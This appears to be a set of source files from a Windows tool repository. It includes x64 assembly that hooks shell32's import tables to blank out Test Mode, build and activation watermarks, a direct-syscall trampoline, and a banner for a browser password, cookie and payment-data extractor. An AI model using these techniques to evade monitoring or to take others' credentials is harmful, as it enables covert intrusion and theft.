ReplaceDelayImportedFunction proc
    push    rbx
    push    r12
    push    r13
    push    r14
    push    r15
    sub     rsp, 30h

    test    rcx, rcx
    jz      @rdif_false
    test    rdx, rdx
    jz      @rdif_false
    test    r8, r8
    jz      @rdif_false
    test    r9, r9
    jz      @rdif_false

    mov     r12, rcx
    mov     r13, rdx
    mov     r14, r8
    mov     r15, r9

    mov     rcx, r12
    mov     rdx, r13
    call    GetDelayImportDescriptor
    test    rax, rax
    jz      @rdif_false

    mov     rbx, rax

    mov     rcx, r12
    mov     rdx, rbx
    mov     r8, r14
    call    LocateFunctionInDelayThunk
    test    rax, rax
    jz      @rdif_false

    mov     rbx, rax

    mov     rcx, rbx
    mov     edx, 8
    mov     r8d, PAGE_EXECUTE_READWRITE
    lea     r9, [rsp+20h]
    call    VirtualProtect
    test    eax, eax
    jz      @rdif_false

    mov     qword ptr [rbx], r15

    mov     rcx, rbx
    mov     edx, 8
    mov     r8d, dword ptr [rsp+20h]
    lea     r9, [rsp+20h]
    call    VirtualProtect

    mov     eax, 1
    add     rsp, 30h
    pop     r15
    pop     r14
    pop     r13
    pop     r12
    pop     rbx
    ret

@rdif_false:
    xor     eax, eax
    add     rsp, 30h
    pop     r15
    pop     r14
    pop     r13
    pop     r12
    pop     rbx
    ret
ReplaceDelayImportedFunction endp

; ==============================================================================
; ReplaceDelayImportedFunctionByName - Patch delay-load IAT by scanning INT
;
; Scans the INT (Import Name Table) by function name so the patch works even
; before the delay-loaded DLL has been resolved (IAT still holds thunk stubs).
;
; RCX = targetModule (HMODULE)         - module whose delay IAT we patch
; RDX = importModuleName (LPCSTR)      - ASCII name of the delay-imported DLL
; R8  = functionName (LPCSTR)          - ASCII name of the function to hook
; R9  = replacementFunction (FARPROC)  - new value to write into the IAT slot
;
; Returns EAX = 1 (patched), 0 (failed)
;
; Locals: [rsp+20h] = DWORD oldProtect
; Stack: 7 pushes (rbx/rsi/rdi/r12-r15) → rsp%16=0; sub 30h → rsp%16=0 ✓
; ==============================================================================
ReplaceDelayImportedFunctionByName proc
    push    rbx
    push    rsi
    push    rdi
    push    r12
    push    r13
    push    r14
    push    r15
    sub     rsp, 30h

    test    rcx, rcx
    jz      @rdifbn_false
    test    rdx, rdx
    jz      @rdifbn_false
    test    r8, r8
    jz      @rdifbn_false
    test    r9, r9
    jz      @rdifbn_false

    mov     r12, rcx            ; r12 = targetModule
    mov     r13, rdx            ; r13 = importModuleName
    mov     r14, r8             ; r14 = functionName
    mov     r15, r9             ; r15 = replacementFunction

    ; Find delay descriptor for the named DLL
    mov     rcx, r12
    mov     rdx, r13
    call    GetDelayImportDescriptor
    test    rax, rax
    jz      @rdifbn_false

    mov     rbx, rax            ; rbx = ImgDelayDescr*

    ; rsi = &INT[0]  (rvaINT at IMDD_INT = 16)
    mov     eax, dword ptr [rbx + IMDD_INT]
    lea     rsi, [r12 + rax]

    ; rdi = &IAT[0]  (rvaIAT at IMDD_IAT = 12)
    mov     eax, dword ptr [rbx + IMDD_IAT]
    lea     rdi, [r12 + rax]

@rdifbn_walk:
    mov     rax, qword ptr [rsi]
    test    rax, rax
    jz      @rdifbn_false       ; null terminator = end of table
    js      @rdifbn_next        ; bit 63 set = ordinal import, no name

    ; lower 32 bits = RVA to IMAGE_IMPORT_BY_NAME; +2 skips WORD Hint
    mov     eax, eax            ; zero-extend 32-bit RVA to 64-bit
    lea     rcx, [r12 + rax + 2]
    mov     rdx, r14
    call    lstrcmpiA
    test    eax, eax
    jz      @rdifbn_found

@rdifbn_next:
    add     rsi, 8
    add     rdi, 8
    jmp     @rdifbn_walk

@rdifbn_found:
    ; rdi = matching IAT slot
    mov     rcx, rdi
    mov     edx, 8
    mov     r8d, PAGE_EXECUTE_READWRITE
    lea     r9, [rsp+20h]
    call    VirtualProtect
    test    eax, eax
    jz      @rdifbn_false

    mov     qword ptr [rdi], r15

    mov     rcx, rdi
    mov     edx, 8
    mov     r8d, dword ptr [rsp+20h]
    lea     r9, [rsp+20h]
    call    VirtualProtect

    mov     eax, 1
    add     rsp, 30h
    pop     r15
    pop     r14
    pop     r13
    pop     r12
    pop     rdi
    pop     rsi
    pop     rbx
    ret

@rdifbn_false:
    xor     eax, eax
    add     rsp, 30h
    pop     r15
    pop     r14
    pop     r13
    pop     r12
    pop     rdi
    pop     rsi
    pop     rbx
    ret
ReplaceDelayImportedFunctionByName endp

; ==============================================================================
; ReplaceDelayImportedFunctionByOrdinal - Patch delay-load IAT by ordinal number
;
; Same as ReplaceDelayImportedFunctionByName but matches ordinal entries
; (INT entries with bit 63 = 1, ordinal in bits 15:0).
;
; RCX = targetModule (HMODULE)
; RDX = importModuleName (LPCSTR)
; R8  = ordinal (WORD, zero-extended)
; R9  = replacementFunction (FARPROC)
;
; Returns EAX = 1 (patched), 0 (failed)
; Stack: 7 pushes + sub 30h → rsp%16=0 ✓
; ==============================================================================
ReplaceDelayImportedFunctionByOrdinal proc
    push    rbx
    push    rsi
    push    rdi
    push    r12
    push    r13
    push    r14
    push    r15
    sub     rsp, 30h

    test    rcx, rcx
    jz      @rdifbo_false
    test    rdx, rdx
    jz      @rdifbo_false
    test    r9, r9
    jz      @rdifbo_false

    mov     r12, rcx            ; r12 = targetModule
    mov     r13, rdx            ; r13 = importModuleName
    mov     r14, r8             ; r14 = target ordinal (low WORD)
    mov     r15, r9             ; r15 = replacementFunction

    mov     rcx, r12
    mov     rdx, r13
    call    GetDelayImportDescriptor
    test    rax, rax
    jz      @rdifbo_false

    mov     rbx, rax            ; rbx = ImgDelayDescr*

    mov     eax, dword ptr [rbx + IMDD_INT]
    lea     rsi, [r12 + rax]    ; rsi = &INT[0]

    mov     eax, dword ptr [rbx + IMDD_IAT]
    lea     rdi, [r12 + rax]    ; rdi = &IAT[0]

@rdifbo_walk:
    mov     rax, qword ptr [rsi]
    test    rax, rax
    jz      @rdifbo_false       ; null terminator
    jns     @rdifbo_next        ; bit 63 clear = by-name entry, skip

    ; ordinal entry: bits 15:0 = ordinal number
    movzx   rax, ax             ; zero-extend ordinal to 64-bit
    cmp     rax, r14
    je      @rdifbo_found

@rdifbo_next:
    add     rsi, 8
    add     rdi, 8
    jmp     @rdifbo_walk

@rdifbo_found:
    mov     rcx, rdi
    mov     edx, 8
    mov     r8d, PAGE_EXECUTE_READWRITE
    lea     r9, [rsp+20h]
    call    VirtualProtect
    test    eax, eax
    jz      @rdifbo_false

    mov     qword ptr [rdi], r15

    mov     rcx, rdi
    mov     edx, 8
    mov     r8d, dword ptr [rsp+20h]
    lea     r9, [rsp+20h]
    call    VirtualProtect

    mov     eax, 1
    add     rsp, 30h
    pop     r15
    pop     r14
    pop     r13
    pop     r12
    pop     rdi
    pop     rsi
    pop     rbx
    ret

@rdifbo_false:
    xor     eax, eax
    add     rsp, 30h
    pop     r15
    pop     r14
    pop     r13
    pop     r12
    pop     rdi
    pop     rsi
    pop     rbx
    ret
ReplaceDelayImportedFunctionByOrdinal endp

; ==============================================================================
; PatchShell32Imports - Hook LoadStringW and ExtTextOutW in shell32.dll's IAT
;
; No parameters. Returns EAX = 1 if at least one hook succeeded, else 0.
;
; Strategy for LoadStringW:
;   Windows 11 ships api-ms-win-core-libraryloader-l1-2-0.dll as the
;   canonical source; older builds use the l1-1-1 variant. We try both.
;
; Stack: 7 pushes → rsp%16=0; sub 20h → rsp%16=0 ✓
; ==============================================================================
PUBLIC PatchShell32Imports
PatchShell32Imports proc
    push    rbx
    push    rsi
    push    rdi
    push    r12
    push    r13
    push    r14
    push    r15
    sub     rsp, 20h

    xor     r15d, r15d              ; r15d = patched-any flag
    xor     r12d, r12d              ; r12 = hShell32, known NULL until set

    ; hShell32
    lea     rcx, str_shell32_w
    call    GetModuleHandleW
    test    rax, rax
    jz      @psi_exttext            ; no shell32 → skip LoadString patch
    mov     r12, rax                ; r12 = hShell32

    ; --- Patch LoadStringW ---
    ; Try api-ms-win-core-libraryloader-l1-2-0.dll first
    lea     rcx, str_loader20_w
    call    GetModuleHandleW
    test    rax, rax
    jz      @psi_try_loader11
    mov     rbx, rax                ; rbx = hLoader20

    mov     rcx, rbx
    lea     rdx, str_LoadStringW    ; ASCII
    call    GetProcAddress
    test    rax, rax
    jz      @psi_try_loader11
    mov     r13, rax                ; r13 = pfnLoadStringW from l1-2-0

    ; ReplaceImportedFunction(hShell32, "l1-2-0.dll", pfnLS, InterceptedLoadStringW)
    mov     rcx, r12
    lea     rdx, str_loader20
    mov     r8, r13
    lea     r9, InterceptedLoadStringW
    call    ReplaceImportedFunction
    or      r15d, eax               ; accumulate success
    jmp     @psi_exttext

@psi_try_loader11:
    lea     rcx, str_loader11_w
    call    GetModuleHandleW
    test    rax, rax
    jz      @psi_exttext
    mov     rbx, rax                ; rbx = hLoader11

    mov     rcx, rbx
    lea     rdx, str_LoadStringW
    call    GetProcAddress
    test    rax, rax
    jz      @psi_exttext
    mov     r13, rax

    mov     rcx, r12
    lea     rdx, str_loader11
    mov     r8, r13
    lea     r9, InterceptedLoadStringW
    call    ReplaceImportedFunction
    or      r15d, eax

    ; --- Patch ExtTextOutW ---
@psi_exttext:
    lea     rcx, str_gdi32_w
    call    GetModuleHandleW
    test    rax, rax
    jz      @psi_drawtext

    mov     rcx, rax
    lea     rdx, str_ExtTextOutW    ; ASCII
    call    GetProcAddress
    test    rax, rax
    jz      @psi_drawtext

    mov     r14, rax                ; r14 = pfnExtTextOutW

    ; Need hShell32 - re-fetch if we didn't get it earlier
    test    r12, r12
    jnz     @psi_patch_eto
    lea     rcx, str_shell32_w
    call    GetModuleHandleW
    test    rax, rax
    jz      @psi_done
    mov     r12, rax

@psi_patch_eto:
    mov     rcx, r12
    lea     rdx, str_gdi32_a
    mov     r8, r14
    lea     r9, InterceptedExtTextOutW
    call    ReplaceImportedFunction
    or      r15d, eax

    ; --- Patch DrawTextW ---
@psi_drawtext:
    test    r12, r12
    jnz     @psi_drawtext_have_shell32
    lea     rcx, str_shell32_w
    call    GetModuleHandleW
    test    rax, rax
    jz      @psi_done
    mov     r12, rax

@psi_drawtext_have_shell32:
    lea     rcx, str_user32_w
    call    GetModuleHandleW
    test    rax, rax
    jz      @psi_brand              ; no user32 → skip DrawTextW, still do brand hook

    mov     rcx, rax
    lea     rdx, str_DrawTextW
    call    GetProcAddress
    test    rax, rax
    jz      @psi_brand              ; no DrawTextW → skip, still do brand hook

    mov     rcx, r12
    lea     rdx, str_user32_a
    mov     r8, rax
    lea     r9, InterceptedDrawTextW
    call    ReplaceImportedFunction
    or      r15d, eax

    ; --- Patch BrandingLoadStringForEdition ---
    ; Shell32 imports this from winbrand.dll to get activation/edition strings.
    ; Returning 0 (empty) makes s_DesktopBuildPaint exit before any drawing call.
@psi_brand:
    test    r12, r12
    jnz     @psi_brand_have_shell32
    lea     rcx, str_shell32_w
    call    GetModuleHandleW
    test    rax, rax
    jz      @psi_done
    mov     r12, rax

@psi_brand_have_shell32:
    ; Scan INT by name — works even if WINBRAND not yet delay-loaded
    mov     rcx, r12
    lea     rdx, str_winbrand_a
    lea     r8, str_BrandingLoadStringForEdition
    lea     r9, InterceptedBrandingLoadStringForEdition
    call    ReplaceDelayImportedFunctionByName
    or      r15d, eax

    ; --- Patch DrawTextWithGlow (UxTheme ordinal 126) ---
    ; Shell32 renders all watermark strings (Test Mode, Build string) via this
    ; function. Imported by ordinal — must scan INT by ordinal value.
    mov     rcx, r12
    lea     rdx, str_uxtheme_a
    mov     r8d, 126
    lea     r9, InterceptedDrawTextWithGlow
    call    ReplaceDelayImportedFunctionByOrdinal
    or      r15d, eax

@psi_done:
    mov     eax, r15d
    add     rsp, 20h
    pop     r15
    pop     r14
    pop     r13
    pop     r12
    pop     rdi
    pop     rsi
    pop     rbx
    ret
PatchShell32Imports endp

end

<<<FILE: kvc_ef/x64/patterns.asm>>>
Created:  2026-05-20 12:37:37
Modified: 2026-05-19 01:58:48
Size:     8.12 KB
; ==============================================================================
; ExplorerFrame DLL - Branding Pattern Initialization
;
; Author: Marek Wesołowski (wesmar)
; Purpose: Allocates heap buffers for 14 pattern slots, then populates them:
;   [0]   BrandingLoadString(L"Basebrd", 12, ...)  from winbrand.dll
;         Falls back to L"Windows " on failure.
;   [1-13] LoadStringW(hShell32, resource_id, ...) for IDs:
;         33088 33089 33108 33109 33111 33117
;         33094 33110 33112 33118 33120 33121 33123
;         Falls back to L"Build " on failure.
; ==============================================================================

option casemap:none

include consts.inc
include globals.inc

EXTRN GetProcessHeap        :PROC
EXTRN HeapAlloc             :PROC
EXTRN LoadLibraryW          :PROC
EXTRN FreeLibrary           :PROC
EXTRN GetProcAddress        :PROC
EXTRN LoadStringW           :PROC
EXTRN wcscpy_p              :PROC

; ==============================================================================
; CONSTANT STRINGS
; ==============================================================================
.const

str_winbrand        dw 'w','i','n','b','r','a','n','d','.','d','l','l',0
str_basebrd         dw 'B','a','s','e','b','r','d',0
str_BrandLoadStr    db 'BrandingLoadString',0  ; ASCII for GetProcAddress
str_defWindows      dw 'W','i','n','d','o','w','s',' ',0
str_defBuild        dw 'B','u','i','l','d',' ',0

; ==============================================================================
; INITIALIZED DATA
; ==============================================================================
.data
    align 4

; Shell32 resource IDs for patterns[1..13]
shell32_ids     dd SHELL32_ID_0,  SHELL32_ID_1,  SHELL32_ID_2
                dd SHELL32_ID_3,  SHELL32_ID_4,  SHELL32_ID_5
                dd SHELL32_ID_6,  SHELL32_ID_7,  SHELL32_ID_8
                dd SHELL32_ID_9,  SHELL32_ID_10, SHELL32_ID_11
                dd SHELL32_ID_12

; Buffer sizes in WCHARs for all 14 pattern slots
pat_wcssizes    dd PBUFSZ_0,  PBUFSZ_1,  PBUFSZ_2,  PBUFSZ_3
                dd PBUFSZ_4,  PBUFSZ_5,  PBUFSZ_6,  PBUFSZ_7
                dd PBUFSZ_8,  PBUFSZ_9,  PBUFSZ_10, PBUFSZ_11
                dd PBUFSZ_12, PBUFSZ_13

; ==============================================================================
; CODE
; ==============================================================================
.code

; ==============================================================================
; HAlloc - Heap allocation helper
;
; RCX = byte count
; Returns RAX = pointer, or NULL on failure
; ==============================================================================
HAlloc proc
    push    rbx
    sub     rsp, 20h

    mov     rbx, rcx            ; save byte count
    call    GetProcessHeap
    mov     rcx, rax            ; hHeap
    xor     edx, edx            ; dwFlags = 0
    mov     r8, rbx             ; dwBytes
    call    HeapAlloc

    add     rsp, 20h
    pop     rbx
    ret
HAlloc endp

; ==============================================================================
; InitializeBrandingPatterns
;
; RCX = hShell32 (HMODULE)  - may be NULL if shell32 not available
;
; Non-volatile registers:
;   rbx = scratch
;   rsi = &pat_wcssizes
;   rdi = &g_brandingPatterns
;   r12 = hShell32
;   r13 = loop counter
;   r14 = hWinBrand
;   r15 = pfnBrandingLoadString
;
; Stack: 7 pushes + sub 20h: entry rsp%16=8, 7×8=56 → 0 mod16, sub 20h → 0 ✓
; ==============================================================================
PUBLIC InitializeBrandingPatterns
InitializeBrandingPatterns proc
    push    rbx
    push    rsi
    push    rdi
    push    r12
    push    r13
    push    r14
    push    r15
    sub     rsp, 20h

    mov     r12, rcx                        ; r12 = hShell32
    lea     rsi, pat_wcssizes               ; rsi = WCHAR-size table
    lea     rdi, g_brandingPatterns         ; rdi = pattern pointer table

    ; ------------------------------------------------------------------
    ; Phase 1: allocate heap buffers for all 7 slots
    ; ------------------------------------------------------------------
    xor     r13d, r13d

@ibp_alloc:
    cmp     r13d, BRANDING_PATTERN_COUNT
    jge     @ibp_winbrand

    mov     ecx, [rsi + r13*4]             ; WCHAR count
    shl     ecx, 1                          ; → byte count (* 2)
    call    HAlloc
    mov     [rdi + r13*8], rax              ; store (NULL if allocation failed)

    inc     r13d
    jmp     @ibp_alloc

    ; ------------------------------------------------------------------
    ; Phase 2: load patterns[0] from winbrand.dll BrandingLoadString
    ; ------------------------------------------------------------------
@ibp_winbrand:
    lea     rcx, str_winbrand
    sub     rsp, 20h
    call    LoadLibraryW
    add     rsp, 20h
    test    rax, rax
    jz      @ibp_no_winbrand
    mov     r14, rax                        ; r14 = hWinBrand

    mov     rcx, r14
    lea     rdx, str_BrandLoadStr           ; ASCII proc name
    sub     rsp, 20h
    call    GetProcAddress
    add     rsp, 20h
    test    rax, rax
    jz      @ibp_winbrand_free
    mov     r15, rax                        ; r15 = pfnBrandingLoadString

    mov     rbx, [rdi]                      ; g_brandingPatterns[0]
    test    rbx, rbx
    jz      @ibp_winbrand_free              ; buffer not allocated

    ; BrandingLoadString(L"Basebrd", 12, buf, 128)
    lea     rcx, str_basebrd
    mov     edx, BRANDING_COMPONENT_ID      ; 12
    mov     r8, rbx                         ; output buffer
    mov     r9d, PBUFSZ_0                   ; 128 WCHARs max
    sub     rsp, 20h
    call    r15
    add     rsp, 20h
    test    eax, eax
    jnz     @ibp_winbrand_free              ; non-zero = success

    ; BrandingLoadString failed → copy default L"Windows "
    mov     rcx, [rdi]
    lea     rdx, str_defWindows
    call    wcscpy_p
    jmp     @ibp_winbrand_free

@ibp_no_winbrand:
    ; winbrand.dll unavailable → default for slot 0
    mov     rcx, [rdi]
    test    rcx, rcx
    jz      @ibp_shell32
    lea     rdx, str_defWindows
    call    wcscpy_p
    jmp     @ibp_shell32

@ibp_winbrand_free:
    mov     rcx, r14
    sub     rsp, 20h
    call    FreeLibrary
    add     rsp, 20h

    ; ------------------------------------------------------------------
    ; Phase 3: load patterns[1..6] from shell32.dll resources
    ; ------------------------------------------------------------------
@ibp_shell32:
    test    r12, r12
    jz      @ibp_fallback_all               ; no shell32 → defaults

    xor     r13d, r13d                      ; shell32 slot index 0..5
    lea     rbx, shell32_ids

@ibp_shell32_loop:
    cmp     r13d, SHELL32_PATTERN_COUNT
    jge     @ibp_done

    ; g_brandingPatterns[r13+1] = target buffer
    mov     rax, r13
    inc     rax
    mov     r15, [rdi + rax*8]
    test    r15, r15
    jz      @ibp_shell32_next               ; slot not allocated

    ; LoadStringW(hShell32, shell32_ids[r13], buf, WCHAR_count)
    mov     rcx, r12
    mov     edx, [rbx + r13*4]             ; resource ID
    mov     r8, r15                         ; buffer
    mov     rax, r13
    inc     rax
    mov     r9d, [rsi + rax*4]             ; WCHAR count for this slot
    sub     rsp, 20h
    call    LoadStringW
    add     rsp, 20h
    test    eax, eax
    jnz     @ibp_shell32_next               ; loaded OK

    ; LoadStringW returned 0 → fill default L"Build "
    mov     rax, r13
    inc     rax
    mov     rcx, [rdi + rax*8]
    lea     rdx, str_defBuild
    call    wcscpy_p

@ibp_shell32_next:
    inc     r13d
    jmp     @ibp_shell32_loop

    ; no shell32 → fill all 6 remaining slots with L"Build "
@ibp_fallback_all:
    xor     r13d, r13d

@ibp_fallback_loop:
    cmp     r13d, SHELL32_PATTERN_COUNT
    jge     @ibp_done

    mov     rax, r13
    inc     rax
    mov     rcx, [rdi + rax*8]
    test    rcx, rcx
    jz      @ibp_fallback_next
    lea     rdx, str_defBuild
    call    wcscpy_p

@ibp_fallback_next:
    inc     r13d
    jmp     @ibp_fallback_loop

@ibp_done:
    add     rsp, 20h
    pop     r15
    pop     r14
    pop     r13
    pop     r12
    pop     rdi
    pop     rsi
    pop     rbx
    ret
InitializeBrandingPatterns endp

end

<<<FILE: kvc_ef/x64/strutil.asm>>>
Created:  2026-05-20 12:37:37
Modified: 2026-05-19 01:30:22
Size:     4.03 KB
; ==============================================================================
; ExplorerFrame DLL - Wide-Character String Utilities
;
; Author: Marek Wesołowski (wesmar)
; Purpose: CRT-free wide string helpers. No external dependencies.
;
; Exported routines:
;   wcslen_p     - length of null-terminated wide string (in WCHARs)
;   wcscpy_p     - copy null-terminated wide string
;   WideStrFind  - find wide substring inside wide string
; ==============================================================================

option casemap:none

.code

; ==============================================================================
; wcslen_p - Wide string length
;
; RCX = source string (LPCWSTR)
; Returns RAX = character count (excluding null terminator)
; ==============================================================================
PUBLIC wcslen_p
wcslen_p proc
    xor     rax, rax
@@:
    cmp     word ptr [rcx + rax*2], 0
    je      @F
    inc     rax
    jmp     @B
@@:
    ret
wcslen_p endp

; ==============================================================================
; wcscpy_p - Wide string copy
;
; RCX = destination buffer (LPWSTR)
; RDX = source string (LPCWSTR)
; Returns nothing
; Modifies: RAX, RDI, RSI (saved/restored)
; ==============================================================================
PUBLIC wcscpy_p
wcscpy_p proc
    push    rsi
    push    rdi
    mov     rdi, rcx
    mov     rsi, rdx
@@:
    mov     ax, word ptr [rsi]
    mov     word ptr [rdi], ax
    test    ax, ax
    jz      @F
    add     rsi, 2
    add     rdi, 2
    jmp     @B
@@:
    pop     rdi
    pop     rsi
    ret
wcscpy_p endp

; ==============================================================================
; WideStrFind - Find wide substring in wide string
;
; Naive O(n*m) search. Used only on short strings, so performance is fine.
;
; RCX  = haystack (LPCWSTR)
; EDX  = haystackLen (INT, in WCHARs)
; R8   = needle (LPCWSTR) - pointer to start of substring to find
; R9D  = needleLen (INT, in WCHARs)
;
; Returns EAX = 0 if found, -1 (0xFFFFFFFF) if not found
;   (mirrors: found → true, not found → false for the caller)
;
; Modifies: RAX, RBX, RCX, RSI, RDI (RBX, RSI, RDI saved/restored)
; ==============================================================================
PUBLIC WideStrFind
WideStrFind proc
    push    rbx
    push    rsi
    push    rdi
    ; 3 pushes (odd) → rsp%16=0 after pushes. No further calls → leaf, no sub rsp.

    ; Trivial rejection
    test    r9d, r9d
    jz      @wsf_found              ; empty needle → always found
    test    edx, edx
    jz      @wsf_notfound
    cmp     r9d, edx
    jg      @wsf_notfound           ; needle longer than haystack

    mov     rdi, rcx               ; rdi = haystack base
    mov     rsi, r8                ; rsi = needle base
    movsxd  rbx, edx               ; rbx = haystackLen (sign-extend INT→QWORD)
    movsxd  rcx, r9d               ; rcx = needleLen

    sub     rbx, rcx               ; rbx = haystackLen - needleLen (max start idx)

    xor     eax, eax               ; eax = outer index i

@wsf_outer:
    cmp     rax, rbx
    jg      @wsf_notfound

    ; Compute base pointer for haystack[i] to avoid double-index addressing.
    ; x86-64 allows only one scaled index register per memory operand.
    lea     r10, [rdi + rax*2]     ; r10 = &haystack[i]   (r10 is volatile)

    xor     edx, edx               ; edx = inner index j

@wsf_inner:
    cmp     rdx, rcx               ; j >= needleLen?
    jge     @wsf_found             ; all characters matched

    movzx   r8d, word ptr [r10 + rdx*2]   ; haystack[i+j]
    movzx   r9d, word ptr [rsi + rdx*2]   ; needle[j]
    cmp     r8d, r9d
    jne     @wsf_next_i            ; mismatch → try next i

    inc     rdx
    jmp     @wsf_inner

@wsf_next_i:
    inc     rax
    jmp     @wsf_outer

@wsf_found:
    xor     eax, eax               ; 0 = found
    pop     rdi
    pop     rsi
    pop     rbx
    ret

@wsf_notfound:
    or      eax, -1                ; -1 = not found
    pop     rdi
    pop     rsi
    pop     rbx
    ret
WideStrFind endp

end

<<<FILE: kvc_pass/AbiTramp.asm>>>
Created:  2026-02-27 12:50:26
Modified: 2025-09-11 15:50:42
Size:     2.46 KB
; AbiTramp.asm - Windows x64 ABI transition trampoline for direct syscalls
; Provides syscall argument marshaling and execution for security operations
; Implements position-independent syscall invocation with proper stack management

.code
ALIGN 16
PUBLIC AbiTramp

; Direct syscall execution trampoline with argument marshaling
; Parameters: SYSCALL_ENTRY* (RCX), followed by up to 10 additional syscall arguments
; Returns: NTSTATUS from kernel syscall execution
AbiTramp PROC FRAME
    push    rbp
    mov     rbp, rsp
    push    rbx
    push    rdi
    push    rsi
    sub     rsp, 80h              ; Allocate stack space: shadow space (0x20) + argument buffer (0x40) + alignment
    .ENDPROLOG

    mov     rbx, rcx              ; Preserve SYSCALL_ENTRY* pointer in non-volatile register

    ; Marshal register-based arguments for kernel transition (Windows x64 calling convention)
    mov     r10, rdx              ; Syscall-Arg1 <- Function-Arg2 (first syscall parameter)
    mov     rdx, r8               ; Syscall-Arg2 <- Function-Arg3 (second syscall parameter)
    mov     r8, r9                ; Syscall-Arg3 <- Function-Arg4 (third syscall parameter)
    mov     r9, [rbp+30h]         ; Syscall-Arg4 <- Function-Arg5 (fourth syscall parameter from caller stack)

    ; Unconditionally marshal maximum stack arguments for syscall compatibility
    ; Copies 8 qwords to handle syscalls with up to 7 stack parameters plus safety margin
    lea     rsi, [rbp+38h]        ; Source: Function-Arg6 position in caller's stack frame
    lea     rdi, [rsp+20h]        ; Destination: Shadow space + syscall stack arguments area
    mov     rcx, 8                ; Copy 8 qwords (64 bytes total)
    rep     movsq                 ; Efficient block copy using string instructions

    ; Prepare for kernel mode transition
    movzx   eax, word ptr [rbx+12] ; Load System Service Number (SSN) from SYSCALL_ENTRY structure
    mov     r11, [rbx]             ; Load syscall gadget address from SYSCALL_ENTRY structure

    call    r11                    ; Execute syscall gadget (syscall; ret instruction sequence)

    ; Function epilogue: restore stack frame and non-volatile registers
    add     rsp, 80h              ; Deallocate local stack space
    pop     rsi                   ; Restore non-volatile registers in reverse order
    pop     rdi
    pop     rbx
    pop     rbp
    ret                           ; Return NTSTATUS in RAX to caller
AbiTramp ENDP
END

<<<FILE: kvc_pass/BannerSystem.cpp>>>
Created:  2026-02-27 12:50:26
Modified: 2026-03-30 10:45:20
Size:     5.27 KB
// Add these functions to CommunicationLayer.cpp or create separate BannerSystem.cpp

#include <Windows.h>
#include <iostream>
#include <string>
#include "HelpSystem.h"

namespace Banner
{
    // Print centered text with specified color
    void PrintCentered(HANDLE hConsole, const std::wstring& text, WORD color, int width = 80)
    {
        int textLen = static_cast<int>(text.length());
        int padding = (width - textLen) / 2;
        if (padding < 0) padding = 0;
        
        SetConsoleTextAttribute(hConsole, color);
        std::wcout << std::wstring(padding, L' ') << text << L"\n";
    }

    // Print application banner with blue frame
    void PrintHeader()
    {
        HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
        CONSOLE_SCREEN_BUFFER_INFO csbi;
        GetConsoleScreenBufferInfo(hConsole, &csbi);
        WORD originalColor = csbi.wAttributes;

        const int width = 80;
        const WORD frameColor = FOREGROUND_BLUE | FOREGROUND_INTENSITY;
        const WORD textColor = FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE | FOREGROUND_INTENSITY;

        // Top border
        SetConsoleTextAttribute(hConsole, frameColor);
        std::wcout << L"\n";
        std::wcout << HelpLayout::MakeBorder() << L"\n";

        // Banner content - centered white text
        PrintCentered(hConsole, L"Marek Wesolowski - WESMAR - 2025", textColor, width);
        PrintCentered(hConsole, L"PassExtractor v1.0.1 https://kvc.pl", textColor, width);
        PrintCentered(hConsole, L"+48 607-440-283, marek@wesolowski.eu.org", textColor, width);
        PrintCentered(hConsole, L"PassExtractor - Advanced Browser Credential Extraction Framework", textColor, width);
        PrintCentered(hConsole, L"Multi-Browser Password, Cookie & Payment Data Recovery Tool", textColor, width);
        PrintCentered(hConsole, L"Chrome, Brave, Edge Support via COM Elevation & DPAPI Techniques", textColor, width);

        // Bottom border
        SetConsoleTextAttribute(hConsole, frameColor);
        std::wcout << HelpLayout::MakeBorder() << L"\n\n";

        // Restore original color
        SetConsoleTextAttribute(hConsole, originalColor);
    }

    // Print footer with donation information
    void PrintFooter()
    {
        HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
        CONSOLE_SCREEN_BUFFER_INFO csbi;
        GetConsoleScreenBufferInfo(hConsole, &csbi);
        WORD originalColor = csbi.wAttributes;
        
        const int width = 80;
        const WORD frameColor = FOREGROUND_BLUE | FOREGROUND_INTENSITY;
        const WORD textColor = FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE | FOREGROUND_INTENSITY;
        const WORD linkColor = FOREGROUND_GREEN | FOREGROUND_INTENSITY;

        // Helper lambda for centered text in frame
        auto printCenteredInFrame = [&](const std::wstring& text) {
            int textLen = static_cast<int>(text.length());
            int padding = (width - 2 - textLen) / 2;
            if (padding < 0) padding = 0;

            SetConsoleTextAttribute(hConsole, frameColor);
            std::wcout << L"|";

            SetConsoleTextAttribute(hConsole, textColor);
            std::wcout << std::wstring(padding, L' ') << text
                       << std::wstring(width - 2 - padding - textLen, L' ');

            SetConsoleTextAttribute(hConsole, frameColor);
            std::wcout << L"|\n";
        };

        // Top border
        SetConsoleTextAttribute(hConsole, frameColor);
        std::wcout << L"+" << std::wstring(width-2, L'-') << L"+\n";

        // Footer content
        printCenteredInFrame(L"Support this project - a small donation is greatly appreciated");
        printCenteredInFrame(L"and helps sustain private research builds.");
        printCenteredInFrame(L"GitHub source code: https://github.com/wesmar/kvc/");
        printCenteredInFrame(L"Professional services: marek@wesolowski.eu.org");

        // Donation line with colored links
        SetConsoleTextAttribute(hConsole, frameColor);
        std::wcout << L"|";
        
        std::wstring paypal = L"PayPal: ";
        std::wstring paypalLink = L"paypal.me/ext1";
        std::wstring middle = L"        ";
        std::wstring revolut = L"Revolut: ";
        std::wstring revolutLink = L"revolut.me/marekb92";
        
        int totalLen = static_cast<int>(paypal.length() + paypalLink.length() + 
                                       middle.length() + revolut.length() + revolutLink.length());
        int padding = (width - totalLen - 2) / 2;
        if (padding < 0) padding = 0;
        
        SetConsoleTextAttribute(hConsole, textColor);
        std::wcout << std::wstring(padding, L' ') << paypal;
        SetConsoleTextAttribute(hConsole, linkColor);
        std::wcout << paypalLink;
        SetConsoleTextAttribute(hConsole, textColor);
        std::wcout << middle << revolut;
        SetConsoleTextAttribute(hConsole, linkColor);
        std::wcout << revolutLink;
        SetConsoleTextAttribute(hConsole, textColor);
        std::wcout << std::wstring(width - totalLen - padding - 2, L' ');
        
        SetConsoleTextAttribute(hConsole, frameColor);
        std::wcout << L"|\n";

        // Bottom border
        std::wcout << L"+" << std::wstring(width-2, L'-') << L"+\n\n";

        // Restore original color
        SetConsoleTextAttribute(hConsole, originalColor);
    }
}

<<<FILE: kvc_pass/BannerSystem.h>>>
Created:  2026-02-27 12:50:26
Modified: 2025-09-30 21:14:46
Size:     0.49 KB
